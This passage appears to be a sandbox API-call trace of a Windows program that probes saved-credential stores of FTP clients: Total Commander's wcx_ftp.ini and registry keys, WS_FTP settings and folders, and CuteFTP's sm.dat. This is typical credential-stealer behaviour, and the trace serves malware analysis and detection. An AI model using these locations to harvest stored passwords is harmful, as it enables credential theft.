[0047.334] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER\\wcx_ftp.ini", lpDst=0x74a738, nSize=0x3b | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER\\wcx_ftp.ini") returned 0x3a [0047.334] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GHISLER\\wcx_ftp.ini" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\ghisler\\wcx_ftp.ini"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.335] LocalFree (hMem=0x74a738) returned 0x0 [0047.335] LocalFree (hMem=0x74a670) returned 0x0 [0047.335] LocalFree (hMem=0x7508d8) returned 0x0 [0047.335] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd34 | out: phkResult=0xefd34*=0x0) returned 0x2 [0047.335] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0xefd08 | out: phkResult=0xefd08*=0x0) returned 0x2 [0047.335] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcdc | out: phkResult=0xefcdc*=0x0) returned 0x2 [0047.335] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd34 | out: phkResult=0xefd34*=0x0) returned 0x2 [0047.335] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0xefd08 | out: phkResult=0xefd08*=0x0) returned 0x2 [0047.335] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcdc | out: phkResult=0xefcdc*=0x0) returned 0x2 [0047.335] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd34 | out: phkResult=0xefd34*=0x0) returned 0x2 [0047.335] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0xefd08 | out: phkResult=0xefd08*=0x0) returned 0x2 [0047.335] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcdc | out: phkResult=0xefcdc*=0x0) returned 0x2 [0047.335] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd34 | out: phkResult=0xefd34*=0x0) returned 0x2 [0047.335] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0xefd08 | out: phkResult=0xefd08*=0x0) returned 0x2 [0047.335] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcdc | out: phkResult=0xefcdc*=0x0) returned 0x2 [0047.335] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd34 | out: phkResult=0xefd34*=0x0) returned 0x2 [0047.335] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0xefd08 | out: phkResult=0xefd08*=0x0) returned 0x2 [0047.335] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcdc | out: phkResult=0xefcdc*=0x0) returned 0x2 [0047.335] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd34 | out: phkResult=0xefd34*=0x0) returned 0x2 [0047.336] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0xefd08 | out: phkResult=0xefd08*=0x0) returned 0x2 [0047.336] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcdc | out: phkResult=0xefcdc*=0x0) returned 0x2 [0047.336] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd34 | out: phkResult=0xefd34*=0x0) returned 0x2 [0047.336] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0xefd08 | out: phkResult=0xefd08*=0x0) returned 0x2 [0047.336] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcdc | out: phkResult=0xefcdc*=0x0) returned 0x2 [0047.336] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0xefd34 | out: phkResult=0xefd34*=0x0) returned 0x2 [0047.336] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0xefd08 | out: phkResult=0xefd08*=0x0) returned 0x2 [0047.336] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0xefcdc | out: phkResult=0xefcdc*=0x0) returned 0x2 [0047.336] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.336] IStream:LockRegion (This=0x7473d8, libOffset=0x148, cb=0x0, dwLockType=0x0) returned 0x0 [0047.336] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd54) returned 0x0 [0047.336] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.336] IStream:LockRegion (This=0x7473d8, libOffset=0x140, cb=0x0, dwLockType=0x0) returned 0x0 [0047.336] IStream:Stat (in: This=0x7473d8, pstatstg=0x140, grfStatFlag=0x0 | out: pstatstg=0x140) returned 0x0 [0047.336] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.336] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.336] IStream:Commit (This=0x7473d8, grfCommitFlags=0x1000f0d7) returned 0x0 [0047.336] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc4c) returned 0x0 [0047.336] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc60) returned 0x0 [0047.336] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc64) returned 0x0 [0047.336] GetWindowsDirectoryA (in: lpBuffer=0xefc6f, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0047.336] lstrlenA (lpString="C:\\Windows") returned 10 [0047.336] lstrlenA (lpString="\\win.ini") returned 8 [0047.336] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x716ef8 [0047.336] lstrcpyA (in: lpString1=0x716ef8, lpString2="C:\\Windows" | out: lpString1="C:\\Windows") returned="C:\\Windows" [0047.336] lstrcatA (in: lpString1="C:\\Windows", lpString2="\\win.ini" | out: lpString1="C:\\Windows\\win.ini") returned="C:\\Windows\\win.ini" [0047.336] GetPrivateProfileStringA (in: lpAppName="WS_FTP", lpKeyName="DIR", lpDefault="", lpReturnedString=0xefc6f, nSize=0x104, lpFileName="C:\\Windows\\win.ini" | out: lpReturnedString="") returned 0x0 [0047.338] GetPrivateProfileStringA (in: lpAppName="WS_FTP", lpKeyName="DEFDIR", lpDefault="", lpReturnedString=0xefc6f, nSize=0x104, lpFileName="C:\\Windows\\win.ini" | out: lpReturnedString="") returned 0x0 [0047.340] LocalFree (hMem=0x716ef8) returned 0x0 [0047.340] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.340] SHGetFolderPathA (in: hwnd=0x0, csidl=43, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 0x0 [0047.340] lstrlenA (lpString="C:\\Program Files (x86)\\Common Files") returned 35 [0047.340] lstrlenA (lpString="\\Ipswitch\\WS_FTP") returned 16 [0047.340] LocalAlloc (uFlags=0x40, uBytes=0xb4) returned 0x756820 [0047.341] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Program Files (x86)\\Common Files" | out: lpString1="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files" [0047.341] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files", lpString2="\\Ipswitch\\WS_FTP" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Ipswitch\\WS_FTP") returned="C:\\Program Files (x86)\\Common Files\\Ipswitch\\WS_FTP" [0047.341] LocalFree (hMem=0x7469f0) returned 0x0 [0047.341] lstrlenA (lpString="C:\\Program Files (x86)\\Common Files\\Ipswitch\\WS_FTP") returned 51 [0047.341] lstrlenA (lpString="\\*.*") returned 4 [0047.341] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x7568e0 [0047.341] lstrcpyA (in: lpString1=0x7568e0, lpString2="C:\\Program Files (x86)\\Common Files\\Ipswitch\\WS_FTP" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Ipswitch\\WS_FTP") returned="C:\\Program Files (x86)\\Common Files\\Ipswitch\\WS_FTP" [0047.341] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\Ipswitch\\WS_FTP", lpString2="\\*.*" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Ipswitch\\WS_FTP\\*.*") returned="C:\\Program Files (x86)\\Common Files\\Ipswitch\\WS_FTP\\*.*" [0047.341] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Ipswitch\\WS_FTP\\*.*", lpFindFileData=0xefb10 | out: lpFindFileData=0xefb10) returned 0xffffffff [0047.341] LocalFree (hMem=0x7568e0) returned 0x0 [0047.341] LocalFree (hMem=0x756820) returned 0x0 [0047.341] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.341] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0047.341] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0047.341] lstrlenA (lpString="\\Ipswitch") returned 9 [0047.341] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x756820 [0047.341] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0047.341] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\Ipswitch" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Ipswitch") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Ipswitch" [0047.341] LocalFree (hMem=0x7469f0) returned 0x0 [0047.341] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Ipswitch") returned 48 [0047.341] lstrlenA (lpString="\\*.*") returned 4 [0047.341] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x7568e0 [0047.341] lstrcpyA (in: lpString1=0x7568e0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Ipswitch" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Ipswitch") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Ipswitch" [0047.341] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Ipswitch", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Ipswitch\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Ipswitch\\*.*" [0047.341] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Ipswitch\\*.*", lpFindFileData=0xefafc | out: lpFindFileData=0xefafc) returned 0xffffffff [0047.341] LocalFree (hMem=0x7568e0) returned 0x0 [0047.341] LocalFree (hMem=0x756820) returned 0x0 [0047.341] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.341] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\ProgramData") returned 0x0 [0047.341] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.341] lstrlenA (lpString="\\Ipswitch") returned 9 [0047.341] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x716ef8 [0047.341] lstrcpyA (in: lpString1=0x716ef8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.341] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\Ipswitch" | out: lpString1="C:\\ProgramData\\Ipswitch") returned="C:\\ProgramData\\Ipswitch" [0047.341] LocalFree (hMem=0x7469f0) returned 0x0 [0047.341] lstrlenA (lpString="C:\\ProgramData\\Ipswitch") returned 23 [0047.341] lstrlenA (lpString="\\*.*") returned 4 [0047.341] LocalAlloc (uFlags=0x40, uBytes=0x9c) returned 0x721848 [0047.341] lstrcpyA (in: lpString1=0x721848, lpString2="C:\\ProgramData\\Ipswitch" | out: lpString1="C:\\ProgramData\\Ipswitch") returned="C:\\ProgramData\\Ipswitch" [0047.341] lstrcatA (in: lpString1="C:\\ProgramData\\Ipswitch", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Ipswitch\\*.*") returned="C:\\ProgramData\\Ipswitch\\*.*" [0047.341] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Ipswitch\\*.*", lpFindFileData=0xefafc | out: lpFindFileData=0xefafc) returned 0xffffffff [0047.341] LocalFree (hMem=0x721848) returned 0x0 [0047.341] LocalFree (hMem=0x716ef8) returned 0x0 [0047.341] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.341] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 0x0 [0047.342] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0047.342] lstrlenA (lpString="\\Ipswitch") returned 9 [0047.342] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x7508d8 [0047.342] lstrcpyA (in: lpString1=0x7508d8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0047.342] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\Ipswitch" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Ipswitch") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Ipswitch" [0047.342] LocalFree (hMem=0x7469f0) returned 0x0 [0047.342] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Ipswitch") returned 46 [0047.342] lstrlenA (lpString="\\*.*") returned 4 [0047.342] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x756820 [0047.342] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Ipswitch" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Ipswitch") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Ipswitch" [0047.342] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Ipswitch", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Ipswitch\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Ipswitch\\*.*" [0047.342] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Ipswitch\\*.*", lpFindFileData=0xefafc | out: lpFindFileData=0xefafc) returned 0xffffffff [0047.342] LocalFree (hMem=0x756820) returned 0x0 [0047.342] LocalFree (hMem=0x7508d8) returned 0x0 [0047.342] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.342] IStream:LockRegion (This=0x7473d8, libOffset=0x148, cb=0x0, dwLockType=0x0) returned 0x0 [0047.342] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc50) returned 0x0 [0047.342] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.342] IStream:LockRegion (This=0x7473d8, libOffset=0x140, cb=0x0, dwLockType=0x0) returned 0x0 [0047.342] IStream:Stat (in: This=0x7473d8, pstatstg=0x140, grfStatFlag=0x0 | out: pstatstg=0x140) returned 0x0 [0047.342] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.342] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.342] IStream:Commit (This=0x7473d8, grfCommitFlags=0x1000f0d7) returned 0x0 [0047.342] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd54) returned 0x0 [0047.342] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd68) returned 0x0 [0047.342] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd6c) returned 0x0 [0047.342] StrStrIA (lpFirst="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashUtil10zr_Plugin.exe -maintain plugin", lpSrch="CUTEFTP") returned 0x0 [0047.342] StrStrIA (lpFirst="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\59.0.3071.115\\Installer\\setup.exe\" --uninstall --system-level --verbose-logging", lpSrch="CUTEFTP") returned 0x0 [0047.342] StrStrIA (lpFirst="\"C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe\"", lpSrch="CUTEFTP") returned 0x0 [0047.342] StrStrIA (lpFirst="\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\uninstall.exe\"", lpSrch="CUTEFTP") returned 0x0 [0047.342] StrStrIA (lpFirst="MsiExec.exe /X{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", lpSrch="CUTEFTP") returned 0x0 [0047.342] StrStrIA (lpFirst="MsiExec.exe /X{26A24AE4-039D-4CA4-87B4-2F03217071FF}", lpSrch="CUTEFTP") returned 0x0 [0047.342] StrStrIA (lpFirst="\"C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe\" /uninstall", lpSrch="CUTEFTP") returned 0x0 [0047.342] StrStrIA (lpFirst="\"C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe\" /uninstall", lpSrch="CUTEFTP") returned 0x0 [0047.342] StrStrIA (lpFirst="MsiExec.exe /X{582EA838-9199-3518-A05C-DB09462F68EC}", lpSrch="CUTEFTP") returned 0x0 [0047.342] StrStrIA (lpFirst="MsiExec.exe /X{68306422-7C57-373F-8860-D26CE4BA2A15}", lpSrch="CUTEFTP") returned 0x0 [0047.342] StrStrIA (lpFirst="MsiExec.exe /X{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", lpSrch="CUTEFTP") returned 0x0 [0047.342] StrStrIA (lpFirst="MsiExec.exe /X{9BE518E6-ECC6-35A9-88E4-87755C07200F}", lpSrch="CUTEFTP") returned 0x0 [0047.342] StrStrIA (lpFirst="MsiExec.exe /I{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", lpSrch="CUTEFTP") returned 0x0 [0047.342] StrStrIA (lpFirst="MsiExec.exe /X{B175520C-86A2-35A7-8619-86DC379688B9}", lpSrch="CUTEFTP") returned 0x0 [0047.342] StrStrIA (lpFirst="MsiExec.exe /X{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", lpSrch="CUTEFTP") returned 0x0 [0047.342] StrStrIA (lpFirst="\"C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe\" /uninstall", lpSrch="CUTEFTP") returned 0x0 [0047.342] StrStrIA (lpFirst="\"C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe\" /uninstall", lpSrch="CUTEFTP") returned 0x0 [0047.343] StrStrIA (lpFirst="\"C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe\" /uninstall", lpSrch="CUTEFTP") returned 0x0 [0047.343] StrStrIA (lpFirst="MsiExec.exe /X{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", lpSrch="CUTEFTP") returned 0x0 [0047.343] StrStrIA (lpFirst="\"C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe\" /uninstall", lpSrch="CUTEFTP") returned 0x0 [0047.343] StrStrIA (lpFirst="MsiExec.exe /X{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", lpSrch="CUTEFTP") returned 0x0 [0047.343] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.343] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0047.343] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0047.343] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP") returned 20 [0047.343] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x74a670 [0047.343] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0047.343] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP" [0047.343] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP") returned 59 [0047.343] lstrlenA (lpString="\\sm.dat") returned 7 [0047.343] LocalAlloc (uFlags=0x40, uBytes=0xc3) returned 0x745b68 [0047.343] lstrcpyA (in: lpString1=0x745b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP" [0047.343] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP", lpString2="\\sm.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP\\sm.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP\\sm.dat" [0047.343] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x44 [0047.343] LocalAlloc (uFlags=0x40, uBytes=0xc4) returned 0x74f980 [0047.343] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP\\sm.dat", lpDst=0x74f980, nSize=0x44 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP\\sm.dat") returned 0x43 [0047.343] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP\\sm.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\globalscape\\cuteftp\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.343] LocalFree (hMem=0x74f980) returned 0x0 [0047.343] LocalFree (hMem=0x745b68) returned 0x0 [0047.343] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP") returned 59 [0047.343] lstrlenA (lpString="\\*.*") returned 4 [0047.343] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x74a738 [0047.343] lstrcpyA (in: lpString1=0x74a738, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP" [0047.343] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP\\*.*" [0047.343] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP\\*.*", lpFindFileData=0xefc04 | out: lpFindFileData=0xefc04) returned 0xffffffff [0047.343] LocalFree (hMem=0x74a738) returned 0x0 [0047.343] LocalFree (hMem=0x74a670) returned 0x0 [0047.343] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0047.343] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP Pro") returned 24 [0047.343] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x74a670 [0047.343] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0047.343] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro" [0047.343] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro") returned 63 [0047.343] lstrlenA (lpString="\\sm.dat") returned 7 [0047.343] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x745b68 [0047.343] lstrcpyA (in: lpString1=0x745b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro" [0047.343] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro", lpString2="\\sm.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro\\sm.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro\\sm.dat" [0047.343] 